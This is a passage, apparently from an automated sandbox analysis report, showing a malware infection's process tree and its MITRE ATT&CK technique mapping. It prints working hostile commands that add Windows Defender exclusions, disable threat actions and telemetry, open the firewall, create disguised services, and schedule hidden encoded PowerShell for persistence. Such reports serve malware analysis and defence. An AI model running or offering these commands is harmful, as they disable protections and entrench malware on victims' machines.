    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
    3⤵
    PID:4820
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
      4⤵
      PID:5816
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        5⤵
        
        PID:2532
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        5⤵
        
        PID:3464
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
    3⤵
    PID:2504
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
      4⤵
      PID:5428
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        5⤵
        
        PID:3308
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        5⤵
        
        PID:2960
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gCRhQUWrh" /SC once /ST 14:35:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:4372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gCRhQUWrh"
    3⤵
    PID:4492
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gCRhQUWrh"
    3⤵
    PID:3640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "bNvMEodQlURWYOsgPf" /SC once /ST 23:28:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\FxBwhdNMJqpclBsNs\YXbnvNcGIsJPdam\mNnzwtF.exe\" V5 /Rhsite_idJyz 525403 /S" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:3632

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
1⤵
PID:5800

C:\Users\Admin\AppData\Local\Menu\menu.exe
"C:\Users\Admin\AppData\Local\Menu\menu.exe" -s
1⤵
PID:5276

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
1⤵
PID:6040

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description udsnpmbs "wifi internet conection"
1⤵
- Launches sc.exe
PID:1700

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start udsnpmbs
1⤵
- Launches sc.exe
PID:4992

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
1⤵
- Creates scheduled task(s)
PID:4876

C:\Users\Admin\rybwvppj.exe
"C:\Users\Admin\rybwvppj.exe" /d"C:\Users\Admin\Documents\GuardFox\e9t9r2OIUPAZkHtd4hU2htJl.exe"
1⤵
PID:2188
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pyepncu.exe" C:\Windows\SysWOW64\udsnpmbs\
  2⤵
  PID:1156
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" config udsnpmbs binPath= "C:\Windows\SysWOW64\udsnpmbs\pyepncu.exe /d\"C:\Users\Admin\rybwvppj.exe\""
  2⤵
  - Launches sc.exe
  PID:2548
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start udsnpmbs
  2⤵
  - Launches sc.exe
  PID:5584
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  - Modifies Windows Firewall
  PID:5384
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 788
  2⤵
  - Program crash
  PID:5908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 1048
1⤵
- Program crash
PID:2708

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
1⤵
- Creates scheduled task(s)
PID:2896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
1⤵
PID:5868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 5712 -ip 5712
1⤵
PID:3028

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
1⤵
- Modifies Windows Firewall
PID:1104

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create udsnpmbs binPath= "C:\Windows\SysWOW64\udsnpmbs\csodyqow.exe /d\"C:\Users\Admin\Documents\GuardFox\e9t9r2OIUPAZkHtd4hU2htJl.exe\"" type= own start= auto DisplayName= "wifi support"
1⤵
- Launches sc.exe
PID:6072

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\csodyqow.exe" C:\Windows\SysWOW64\udsnpmbs\
1⤵
PID:5292

C:\Windows\SysWOW64\udsnpmbs\pyepncu.exe
C:\Windows\SysWOW64\udsnpmbs\pyepncu.exe /d"C:\Users\Admin\rybwvppj.exe"
1⤵
PID:972
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:6008
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 972 -s 564
  2⤵
  - Program crash
  PID:5548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 972 -ip 972
1⤵
PID:2532

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
1⤵
PID:5624

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
1⤵
PID:5632

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
1⤵
PID:5556

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\udsnpmbs\
1⤵
PID:5520

C:\Users\Admin\AppData\Local\Menu\menu.exe
"C:\Users\Admin\AppData\Local\Menu\menu.exe" -i
1⤵
PID:5280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5760 -ip 5760
1⤵
PID:3012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2188 -ip 2188
1⤵
PID:5448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 5752 -ip 5752
1⤵
PID:1232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1992 -ip 1992
1⤵
PID:3636

C:\Users\Admin\AppData\Local\Temp\FAA7.exe
C:\Users\Admin\AppData\Local\Temp\FAA7.exe
1⤵
PID:2528

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\74.dll
1⤵
PID:6112
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\74.dll
  2⤵
  PID:5592

C:\Users\Admin\AppData\Local\Temp\190E.exe
C:\Users\Admin\AppData\Local\Temp\190E.exe
1⤵
PID:6120

C:\Users\Admin\AppData\Local\Temp\1E30.exe
C:\Users\Admin\AppData\Local\Temp\1E30.exe
1⤵
PID:4940
- C:\Users\Admin\AppData\Local\Temp\is-KUFGF.tmp\1E30.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-KUFGF.tmp\1E30.tmp" /SL5="$6015C,2376314,54272,C:\Users\Admin\AppData\Local\Temp\1E30.exe"
  2⤵
  PID:5040

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6776

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7468

C:\Users\Admin\AppData\Local\Temp\3F84.exe
C:\Users\Admin\AppData\Local\Temp\3F84.exe
1⤵
PID:7772
- C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
  "C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
  2⤵
  PID:9204
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:11184
- C:\Users\Admin\AppData\Local\Temp\InstallSetup4.exe
  "C:\Users\Admin\AppData\Local\Temp\InstallSetup4.exe"
  2⤵
  PID:4672
- - C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
    C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
    3⤵
    PID:9900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
      4⤵
      PID:10288
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        5⤵
        
        PID:5452
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
        5⤵
        Creates scheduled task(s)
        
        PID:11136
- C:\Users\Admin\AppData\Local\Temp\FourthX.exe
  "C:\Users\Admin\AppData\Local\Temp\FourthX.exe"
  2⤵
  PID:9676
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    PID:7432

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8380

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:9708

C:\Users\Admin\AppData\Local\Temp\5762.exe
C:\Users\Admin\AppData\Local\Temp\5762.exe
1⤵
PID:9608
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 9608 -s 348
  2⤵
  - Program crash
  PID:7332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 9608 -ip 9608
1⤵
PID:7332

C:\Users\Admin\AppData\Local\Temp\69E2.exe
C:\Users\Admin\AppData\Local\Temp\69E2.exe
1⤵
PID:9640
- C:\Users\Admin\AppData\Local\Temp\69E2.exe
  C:\Users\Admin\AppData\Local\Temp\69E2.exe
  2⤵
  PID:11012

C:\Users\Admin\AppData\Local\Temp\7472.exe
C:\Users\Admin\AppData\Local\Temp\7472.exe
1⤵
PID:10976

C:\ProgramData\efpntmfaucgb\wswowdclofaf.exe
C:\ProgramData\efpntmfaucgb\wswowdclofaf.exe
1⤵
PID:6860
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:11144

C:\Users\Admin\AppData\Local\Temp\FxBwhdNMJqpclBsNs\YXbnvNcGIsJPdam\mNnzwtF.exe
C:\Users\Admin\AppData\Local\Temp\FxBwhdNMJqpclBsNs\YXbnvNcGIsJPdam\mNnzwtF.exe V5 /Rhsite_idJyz 525403 /S
1⤵
PID:9632
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:7668

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
PID:9848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery